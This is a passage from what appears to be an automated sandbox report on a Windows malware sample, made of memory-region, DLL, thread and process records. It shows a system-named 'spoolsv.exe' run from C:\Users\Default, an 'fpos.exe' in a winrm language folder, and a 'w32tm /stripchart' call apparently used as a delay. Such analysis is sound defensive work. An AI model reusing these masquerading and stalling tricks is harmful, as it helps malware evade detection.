(normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5627 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5628 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5629 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5630 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5722 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5723 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5724 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 5725 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5726 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5727 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5728 start_va = 0x890000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 5729 start_va = 0x1170000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001170000" filename = "" Region: id = 5730 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5731 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5732 start_va = 0x3e0000 end_va = 0x4affff monitored = 1 entry_point = 0x4ad67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 5733 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5734 start_va = 0x3e0000 end_va = 0x4affff monitored = 1 entry_point = 0x4ad67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 5735 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5736 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5737 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5738 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5739 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5740 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5805 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5848 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 5849 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 5850 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 5851 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5852 start_va = 0x7fe90820000 end_va = 0x7fe908affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5853 start_va = 0x7fe908b0000 end_va = 0x7fe9091ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908b0000" filename = "" Region: id = 5854 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5855 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5856 start_va = 0xa20000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 5857 start_va = 0xc10000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 5858 start_va = 0xcc0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 5859 start_va = 0xde0000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 5860 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5861 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5862 start_va = 0x2570000 end_va = 0x1a56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 5903 start_va = 0x1a570000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a570000" filename = "" Region: id = 5904 start_va = 0xa20000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 5905 start_va = 0xb90000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 5906 start_va = 0xf30000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 5907 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5937 start_va = 0x1a8f0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 5938 start_va = 0x1aac0000 end_va = 0x1abbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aac0000" filename = "" Region: id = 5939 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6334 start_va = 0x1abc0000 end_va = 0x1ae8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6335 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6388 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6389 start_va = 0x3e0000 end_va = 0x45cfff monitored = 0 entry_point = 0x3ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6390 start_va = 0x3e0000 end_va = 0x45cfff monitored = 0 entry_point = 0x3ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6391 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6392 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6393 start_va = 0x1ae90000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae90000" filename = "" Thread: id = 237 os_tid = 0xa8c [0189.599] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) Thread: id = 266 os_tid = 0xd98 Thread: id = 270 os_tid = 0xd9c Thread: id = 275 os_tid = 0xdbc Process: id = "70" image_name = "w32tm.exe" filename = "c:\\windows\\system32\\w32tm.exe" page_root = "0x3ee2e000" os_pid = "0xa98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0xa70" cmd_line = "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 " cur_dir = "C:\\comproviderRuntimecommon\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5199 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5200 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5201 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5202 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 5203 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5204 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5205 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5206 start_va = 0xff490000 end_va = 0xff4a6fff monitored = 0 entry_point = 0xff49ef50 region_type = mapped_file name = "w32tm.exe" filename = "\\Windows\\System32\\w32tm.exe" (normalized: "c:\\windows\\system32\\w32tm.exe") Region: id = 5207 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5208 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5209 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5210 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5211 start_va = 0x1c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5212 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5213 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5214 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5215 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5216 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5217 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5218 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5219 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5220 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5221 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5222 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5223 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5224 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5225 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5226 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5227 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5228 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5229 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5230 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5231 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5232 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5233 start_va = 0x7fefc350000 end_va = 0x7fefc37ffff monitored = 0 entry_point = 0x7fefc35194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 5234 start_va = 0x7fef6500000 end_va = 0x7fef6511fff monitored = 0 entry_point = 0x7fef650aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 5235 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5236 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5237 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 5238 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5239 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5240 start_va = 0x7fefc800000 end_va = 0x7fefc813fff monitored = 0 entry_point = 0x7fefc804160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 5241 start_va = 0x440000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5242 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5243 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 5244 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5245 start_va = 0x440000 end_va = 0x5c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5246 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 5247 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5248 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5249 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5250 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 5251 start_va = 0x790000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 5252 start_va = 0xc0000 end_va = 0xc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32tm.exe.mui" filename = "\\Windows\\System32\\en-US\\w32tm.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\w32tm.exe.mui") Region: id = 5254 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5255 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5256 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5257 start_va = 0x100000 end_va = 0x106fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5258 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5259 start_va = 0x100000 end_va = 0x106fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5260 start_va = 0x1b90000 end_va = 0x1e5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5261 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5262 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 5263 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 5264 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5265 start_va = 0x1e60000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 5266 start_va = 0x20d0000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 5267 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 5268 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5269 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5270 start_va = 0x1e60000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 5271 start_va = 0x2000000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Thread: id = 234 os_tid = 0xa9c Thread: id = 235 os_tid = 0xaa0 Process: id = "71" image_name = "spoolsv.exe" filename = "c:\\users\\default\\spoolsv.exe" page_root = "0x3e0db000" os_pid = "0xc18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Users\\Default\\spoolsv.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5865 start_va = 0x10000 end_va = 0x13fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5866 start_va = 0x20000 end_va = 0xf5fff monitored = 1 entry_point = 0xed67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 5867 start_va = 0x100000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5868 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5869 start_va = 0x76d20000 end_va = 